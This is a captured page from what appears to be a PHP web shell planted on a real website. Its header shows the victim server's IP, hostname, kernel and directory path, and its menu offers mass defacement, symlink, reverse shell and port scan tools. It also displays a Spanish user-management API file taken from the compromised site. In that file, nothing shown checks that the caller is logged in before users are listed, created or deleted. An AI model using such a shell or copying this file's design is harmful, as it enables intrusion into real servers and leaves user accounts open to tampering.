Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
Aircan vieja
/
Viewing: usuarios.php
<?php require_once 'conexion.php'; header('Content-Type: application/json; charset=utf-8'); function respuesta($ok, $extra = []) { echo json_encode($ok ? array_merge(['success'=>true], $extra) : array_merge(['success'=>false], $extra)); exit; } $action = $_GET['action'] ?? ''; if ($action === 'list') { $res = $conn->query('SELECT id, nombre, email, usuario, rol FROM usuarios ORDER BY id DESC'); $usuarios = $res->fetchAll(PDO::FETCH_ASSOC); echo json_encode($usuarios); exit; } if ($action === 'add') { $data = json_decode(file_get_contents('php://input'), true); $nombre = trim($data['nombre'] ?? ''); $email = trim($data['email'] ?? ''); $usuario = trim($data['usuario'] ?? ''); $password = $data['password'] ?? ''; $rol = trim($data['rol'] ?? ''); if (!$nombre || !$email || !$usuario || !$password || !$rol) { respuesta(false, ['error'=>'Todos los campos son obligatorios.']); } // Validar email único $stmt = $conn->prepare('SELECT id FROM usuarios WHERE email = ? OR usuario = ?'); $stmt->execute([$email, $usuario]); if ($stmt->fetch()) { respuesta(false, ['error'=>'El email o usuario ya existe.']); } $hash = password_hash($password, PASSWORD_BCRYPT); $stmt = $conn->prepare('INSERT INTO usuarios (nombre, email, usuario, password, rol) VALUES (?, ?, ?, ?, ?)'); if ($stmt->execute([$nombre, $email, $usuario, $hash, $rol])) { respuesta(true); } else { respuesta(false, ['error'=>'Error al guardar en la base de datos.']); } } if ($action === 'delete') { $data = json_decode(file_get_contents('php://input'), true); $id = intval($data['id'] ?? 0); if (!$id) respuesta(false, ['error'=>'ID inválido.']); // No permitir borrar el usuario actual (opcional, puedes quitar esto) // if ($id == $_SESSION['id']) respuesta(false, ['error'=>'No puedes eliminar tu propio usuario.']); $stmt = $conn->prepare('DELETE FROM usuarios WHERE id = ?'); if ($stmt->execute([$id])) { respuesta(true); } else { respuesta(false, ['error'=>'No se pudo eliminar.']); } } if ($action === 'get') { $id = intval($_GET['id'] ?? 0); if (!$id) respuesta(false, ['error'=>'ID inválido.']); $stmt = $conn->prepare('SELECT id, nombre, email, usuario, rol FROM usuarios WHERE id = ?'); $stmt->execute([$id]); $row = $stmt->fetch(PDO::FETCH_ASSOC); if ($row) { echo json_encode($row); exit; } else { respuesta(false, ['error'=>'Usuario no encontrado.']); } } if ($action === 'edit') { $data = json_decode(file_get_contents('php://input'), true); $id = intval($data['id'] ?? 0); $nombre = trim($data['nombre'] ?? ''); $email = trim($data['email'] ?? ''); $usuario = trim($data['usuario'] ?? ''); $password = $data['password'] ?? ''; $rol = trim($data['rol'] ?? ''); if (!$id || !$nombre || !$email || !$usuario || !$rol) { respuesta(false, ['error'=>'Todos los campos son obligatorios.']); } // Validar email/usuario único (excepto el mismo id) $stmt = $conn->prepare('SELECT id FROM usuarios WHERE (email = ? OR usuario = ?) AND id != ?'); $stmt->execute([$email, $usuario, $id]); if ($stmt->fetch()) { respuesta(false, ['error'=>'El email o usuario ya existe.']); } if ($password) { $hash = password_hash($password, PASSWORD_BCRYPT); $stmt = $conn->prepare('UPDATE usuarios SET nombre=?, email=?, usuario=?, password=?, rol=? WHERE id=?'); $ok = $stmt->execute([$nombre, $email, $usuario, $hash, $rol, $id]); } else { $stmt = $conn->prepare('UPDATE usuarios SET nombre=?, email=?, usuario=?, rol=? WHERE id=?'); $ok = $stmt->execute([$nombre, $email, $usuario, $rol, $id]); } if ($ok) { respuesta(true); } else { respuesta(false, ['error'=>'Error al actualizar en la base de datos.']); } } if ($action === 'count') { $res = $conn->query('SELECT COUNT(*) as total FROM usuarios'); $row = $res->fetch(PDO::FETCH_ASSOC); echo json_encode(['total' => intval($row['total'])]); exit; } respuesta(false, ['error'=>'Acción no válida']);
Coded With 💗 by
0x6ick